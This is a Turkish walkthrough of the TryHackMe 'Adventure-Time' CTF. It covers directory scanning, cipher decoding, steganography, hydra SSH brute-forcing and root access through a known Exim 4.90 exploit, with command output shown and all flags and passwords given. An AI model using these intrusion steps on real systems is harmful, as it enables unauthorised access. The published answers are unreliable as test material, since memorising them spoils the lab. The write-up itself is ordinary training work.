Tryhackme | Adventure-Time CTF WriteUp by w1sd0m
Selam dostlar, bu gün sizlere Tryhackme'de yer alan "Adventure Time" adlı CTF'in çözümünü anlatacağım.
İlk CTF konum olduğundan forumda çözümü bulunmayan bir makine olsun istedim.
Çözümü biraz uzun haberiniz olsun.
Şimdiden teşekkür ederim.
Platform: Tryhackme.com
Title: Adventure-Time
Difficulty: Hard
Created by: n0w4n
Total point: 150
Öncelikle nmap aracı ile port taraması yapalım bakalım neler çıkacak karşımıza...Selam dostlar, bu gün sizlere Tryhackme'de yer alan "Adventure Time" adlı CTF'in çözümünü anlatacağım.
İlk CTF konum olduğundan forumda çözümü bulunmayan bir makine olsun istedim.
Çözümü biraz uzun haberiniz olsun.
Şimdiden teşekkür ederim.
Platform: Tryhackme.com
Title: Adventure-Time
Difficulty: Hard
Created by: n0w4n
Total point: 150
Açık olan portlara baktık. Hemen port 21(FTP)'de anonymous girişlere izin var mı bakalım...
Burada 6 adet .jpg dosyası bırakılmış. Hepsini indirip içine baktım ancak önemli bir bilgi yoktu.
Devam ediyorum...
Döndüm diğer açık portum olan 80'e. Ancak 404 hatası aldım o yüzden 443. porta geçtim direkt(https). Burada beni bir sayfa karşıladı. Ancak herhangi bir bilgi yoktu.
Bende dizin taramasına baktım, kuytuda köşede bilmediğimiz bir dizin varmı diye.
gobuster dir -u https://10.10.93.103 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
Dizin taramasında "/candybar/" adında bir dizin buldum ve oraya gittim.Burada bir encrypt edilmiş şifre gördüm.
Hemen decrypt etmeye çalıştım.
SSL sertifikasını bi kontrol et be kardeş diyor. Hay hay hemen yapıyorum.
Burada yeni 2 adet domain keşfettik. Bunları hosta ekliyorum. Bakalım neler bekliyor bizi.
echo '10.10.93.103 adventure-time.com land-of-ooo.com' >> /etc/hosts
Ekledim ve sitelere bir gidip baktım.
Herhangi önemli bir bilgi olmadığı için tekrar bir dizin taraması yaptım.(Tadını çıkara çıkara ilerledim.Eminim siz daha farklı ve hızlı bir yoldan ilerlemişsinizdir )
"/yellowdog/bananastock/" diye bir dizin yolu keşfedince tool bende bi ziyaret edeyim dedim.
Evet hala elle tutulur birşey bulamamışken şimdi bizi bir mors alfabesi ile encrypt edilmiş bir şifre karşılıyor. Hadi kıralım...
Tekrar dizin taraması yapa yapa ilerliyorum. Tüm sayfaları bulmak hikayeye bakmak istiyorum.
Derken "/yellowdog/bananastock/princess" dizinini keşfettim ve hemen yola koyuldum.
Bu ablamız karşıladı beni. Kaynak kodlara baktığımda encrypt edilmiş bir şifre gördüm. Sağolsun nasıl kıracağımı da anlatmış
Son portumuz olan 31337 ye gidelim artık. Netcat ile dinleme yapıp 10.10.93.103:31337 adresine giderek bağlantımı aldım.
Şimdi elimde bir username(apple-guards) birde password(THE BANANAS ARE THE BEST!!!) var.
SSH servisinden bilgileri girerek bağlantıyı aldık ve içeri girdik. İlk bayrağımızı alalım.
Devam ediyorum...
Kod:
apple-guards@at:~$ cat mbox
From marceline@at Fri Sep 20 16:39:54 2019
Return-Path: <marceline@at>
X-Original-To: apple-guards@at
Delivered-To: apple-guards@at
Received: by at.localdomain (Postfix, from userid 1004)
id 6737B24261C; Fri, 20 Sep 2019 16:39:54 +0200 (CEST)
Subject: Need help???
To: <apple-guards@at>
X-Mailer: mail (GNU Mailutils 3.4)
Message-Id: <[email protected]>
Date: Fri, 20 Sep 2019 16:39:54 +0200 (CEST)
From: marceline@at
Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.
Good luck!!!!
Burada marceline ismini görüyorum.Bakalım marceline ile ilgili ne bulabiliriz.
Kod:
apple-guards@at:/home$ find / -type f -user marceline 2>/dev/null
/etc/fonts/helper
apple-guards@at:/home$ file /etc/fonts/helper
/etc/fonts/helper: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=6cee442f66f3fb132491368c671c1cf91fc28332, for GNU/Linux 3.2.0, not stripped
Hemen açıyorum bakalım bir ipucu bulabilecekmiyim.
Kod:
apple-guards@at:/home$ /etc/fonts/helper
======================================
BananaHead Access Pass
created by Marceline
======================================
Hi there bananaheads!!!
So you found my file?
But it won't help you if you can't answer this question correct.
What? I told you guys I would help and that it wouldn't cost you a thing....
Well I lied hahahaha
Ready for the question?
The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse
Did you solve the puzzle? yes
What is the word I'm looking for? [ISPOILER]Abadeer[/ISPOILER]
That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'
Burada bize "gone" anahtarı verilip "Gpnhkse" verisini decrypt etmemiz istendi. Decrypt edip yazdığımızda ise bize parolayı verdi.Hemen gösteriyorum.
Artık marceline kullanıcısının parolası elimizde. Hemen kullanıcı değiştirelim.
Kod:
apple-guards@at:/home$ su marceline
Password:
marceline@at:~$ cat /home/marceline/flag2
[ISPOILER]tryhackme{N1c30n3Sp0rt}[/ISPOILER]
Devam ediyoruz...
İpuçlarından devam ediyorum.
Kod:
marceline@at:~$ cat I-got-a-secret.txt
Hello Finn,
I heard that you pulled a fast one over the banana guards.
B was very upset hahahahaha.
I also heard you guys are looking for BMO's resetcode.
You guys broke him again with those silly games?
You know I like you Finn, but I don't want to anger B too much.
So I will help you a little bit...
But you have to solve my little puzzle. Think you're up for it?
Hahahahaha....I know you are.
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010
Birde gülüyor bak. Datayı direkt "from binary" den decrypt etmeye çalışırsak sonuç alamayız. Biraz araştırma sonucu(biraz dediğime bakmayın) Spoon lng de denedim. Bakalım sonuç ne çıkmış.
Sihirli kelimemizi bulduk. "ApplePie". Hadi son kalan portumuz olan 31337'yi ziyarete gidelim.
Kod:
$ pwncat adventure-time.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: [ISPOILER]That Black Magic[/ISPOILER]
Parolamızı da aldığımıza göre kullanıcı değiştirme vakti geldi.
Kod:
marceline@at:/home$ su peppermint-butler
Password:
peppermint-butler@at:~$ cat /home/peppermint-butler/flag3
[ISPOILER]tryhackme{N0Bl4ckM4g1cH3r3}[/ISPOILER]
/home dizininde "butler-1.jpg" adlı bir dosya bırakılmış. İçine bakacağız ancak şifresini bulmak gerekiyor. Bakalım bu peppermint kullanıcısı ile alakalı neler bulabiliriz.
Kod:
peppermint-butler@at:~$ find / -type f -user peppermint-butler 2>/dev/null | head
/usr/share/xml/steg.txt
/etc/php/zip.txt
/proc/1779/task/1779/fdinfo/0
/proc/1779/task/1779/fdinfo/1
/proc/1779/task/1779/fdinfo/2
/proc/1779/task/1779/fdinfo/255
/proc/1779/task/1779/environ
/proc/1779/task/1779/auxv
/proc/1779/task/1779/status
/proc/1779/task/1779/personality
Kod:
peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
I need to keep my secrets safe.
There are people in this castle who can't be trusted.
Those banana guards are not the smartest of guards.
And that Marceline is a friend of princess Bubblegum,
but I don't trust her.
So I need to keep this safe.
The password of my secret file is '[ISPOILER]ToKeepASecretSafe[/ISPOILER]'
Kod:
peppermint-butler@at:~$ cat /etc/php/zip.txt
I need to keep my secrets safe.
There are people in this castle who can't be trusted.
Those banana guards are not the smartest of guards.
And that Marceline is a friend of princess Bubblegum,
but I don't trust her.
So I need to keep this safe.
The password of my secret file is '[ISPOILER]ThisIsReallySave[/ISPOILER]'
Parolalar elimizde. Şimdi bu "butler-1.jpg" dosyasının içinden geçme vakti geldi.
Kod:
$ steghide extract -sf butler-1.jpg
Enter passphrase:
wrote extracted data to "secrets.zip".
Kod:
$ 7z x secrets.zip
$ cat secrets.txt
[0200 hours][upper stairs]
I was looking for my arch nemesis Peace Master,
but instead I saw that cowering little puppet from the Ice King.....gunter.
What was he up to, I don't know.
But I saw him sneaking in the secret lab of Princess Bubblegum.
To be able to see what he was doing I used my spell 'the evil eye' and saw him.
He was hacking the secret laptop with something small like a duck of rubber.
I had to look closely, but I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.
Should I tell princess Bubblegum or see how this all plays out?
I don't know.......
Hımm... Burada bize parola için ipucu vermiş, kullanıcı adı: gunter ,parola: "The Ice King s????". Burada yapmamız gereken 's' harfi ile başlayan 5 harfli kelime üretmek ve 'The Ice King' kelimesinin sonuna eklemek.
Python ile 2 dakikanızı almaz bunu yapmak ancak ben programlama bilmeyen arkadaşlar için bir site bırakıyorum buraya, buradan halledersiniz. --> 5 harfliler <--
Wordlistimiz hazırsa hadi kolları sıvayalım.
Kod:
$ hydra -l gunter -P passwords.txt ssh://10.10.93.103
[DATA] attacking ssh://10.10.93.103:22/
[STATUS] 181.00 tries/min, 181 tries in 00:01h, 1388 to do in 00:08h, 16 active
[STATUS] 124.00 tries/min, 372 tries in 00:03h, 1197 to do in 00:10h, 16 active
[STATUS] 117.57 tries/min, 823 tries in 00:07h, 748 to do in 00:07h, 16 active
[STATUS] 115.25 tries/min, 1383 tries in 00:12h, 188 to do in 00:02h, 16 active
[22][ssh] host: 10.10.8.146 login: gunter password: [ISPOILER]The Ice King sucks[/ISPOILER]
1 of 1 target successfully completed, 1 valid password found
Opss, işlem tamam. Hadi kullanıcı değiştirelim...
Kod:
peppermint-butler@at:/home$ su gunter
Password:
gunter@at:/home$ cd
gunter@at:~$ pwd
/home/gunter
gunter@at:~$ ll
total 36
drwxr-x--- 4 gunter gunter 4096 sep 23 2019 ./
drwxr-xr-x 10 root root 4096 sep 20 2019 ../
-rw-r--r-- 1 gunter gunter 220 apr 4 2018 .bash_logout
-rw-r--r-- 1 gunter gunter 3771 apr 4 2018 .bashrc
drwx------ 2 gunter gunter 4096 sep 20 2019 .cache/
-rw-r----- 1 gunter gunter 25 sep 22 2019 flag4
drwx------ 3 gunter gunter 4096 sep 20 2019 .gnupg/
-rw-r--r-- 1 gunter gunter 807 apr 4 2018 .profile
-rw------- 1 gunter gunter 1627 sep 22 2019 .viminfo
gunter@at:~$ cat /home/gunter/flag4
[ISPOILER]tryhackme{P1ngu1nsRul3!}[/ISPOILER]
Evet dostlarım yoruldunuz biliyorum(eğer buraya kadar okuduysanız helal ), son aşama olan yetki yükseltmeyi de yapalım, son bayrağımızı da alalım bitsin bu işkence artık.
Kod:
gunter@at:/home$ find / -user root -perm -u=s 2>/dev/null
/usr/sbin/pppd
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/arping
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/vmware-user-suid-wrapper
/usr/bin/sudo
/bin/ping
/bin/umount
/bin/su
/bin/fusermount
/bin/mount
Kod:
gunter@at:/home$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
Sürümü search ettim ve daha önce bulunup kullanılan bir exploiti olduğunu gördüm. E bizde kullanalım o zaman geri kalmayalım.
Kod:
gunter@at:/etc/exim4$ grep interface /etc/exim4/update-exim4.conf.conf
dc_local_interfaces='127.0.0.1.60000'
Peki, şimdi bu zafiyeti sömürelim bakalım. Bunun için bir exploit buldum internette. Linki bırakıyorum. --> wizard.py <--
Gerekli düzenlemeleri yapıp çalıştırmamız yetti dostlarım.
Kod:
gunter@at:/tmp$ python wizard.py
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1jhyq8-0000r2-HW
root@at:/tmp# whoami
root
Hadi bu işi bitirelim.....
Kod:
root@at:/home/bubblegum# cat /home/bubblegum/Secrets/bmo.txt
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░▄██████████████████████▄░░░░
░░░░█░░░░░░░░░░░░░░░░░░░░░░█░░░░
░░░░█░▄██████████████████▄░█░░░░
░░░░█░█░░░░░░░░░░░░░░░░░░█░█░░░░
░░░░█░█░░░░░░░░░░░░░░░░░░█░█░░░░
░░░░█░█░░█░░░░░░░░░░░░█░░█░█░░░░
░░░░█░█░░░░░▄▄▄▄▄▄▄▄░░░░░█░█░░░░
░░░░█░█░░░░░▀▄░░░░▄▀░░░░░█░█░░░░
░░░░█░█░░░░░░░▀▀▀▀░░░░░░░█░█░░░░
░░░░█░█░░░░░░░░░░░░░░░░░░█░█░░░░
░█▌░█░▀██████████████████▀░█░▐█░
░█░░█░░░░░░░░░░░░░░░░░░░░░░█░░█░
░█░░█░████████████░░░░░██░░█░░█░
░█░░█░░░░░░░░░░░░░░░░░░░░░░█░░█░
░█░░█░░░░░░░░░░░░░░░▄░░░░░░█░░█░
░▀█▄█░░░▐█▌░░░░░░░▄███▄░██░█▄█▀░
░░░▀█░░█████░░░░░░░░░░░░░░░█▀░░░
░░░░█░░░▐█▌░░░░░░░░░▄██▄░░░█░░░░
░░░░█░░░░░░░░░░░░░░▐████▌░░█░░░░
░░░░█░▄▄▄░▄▄▄░░░░░░░▀██▀░░░█░░░░
░░░░█░░░░░░░░░░░░░░░░░░░░░░█░░░░
░░░░▀██████████████████████▀░░░░
░░░░░░░░██░░░░░░░░░░░░██░░░░░░░░
░░░░░░░░██░░░░░░░░░░░░██░░░░░░░░
░░░░░░░░██░░░░░░░░░░░░██░░░░░░░░
░░░░░░░░██░░░░░░░░░░░░██░░░░░░░░
░░░░░░░▐██░░░░░░░░░░░░██▌░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy
In case of emergency use resetcode: [ISPOILER]tryhackme{Th1s1s4c0d3F0rBM0}[/ISPOILER]
-------
Good job on getting this code!!!!
You solved all the puzzles and tried harder to the max.
If you liked this CTF, give a shout out to @n0w4n.
"Yol uzundu ama manzarası güzeldi" diyebilir miyim bilemedim.
CTF'te encrypt, decrypt ve dizin tarama olayları biraz abartılmış gibi hissettim ama genel olarak fena değildi.
Umarım birilerine faydalı olmuştur. Selametle...
EyvAllah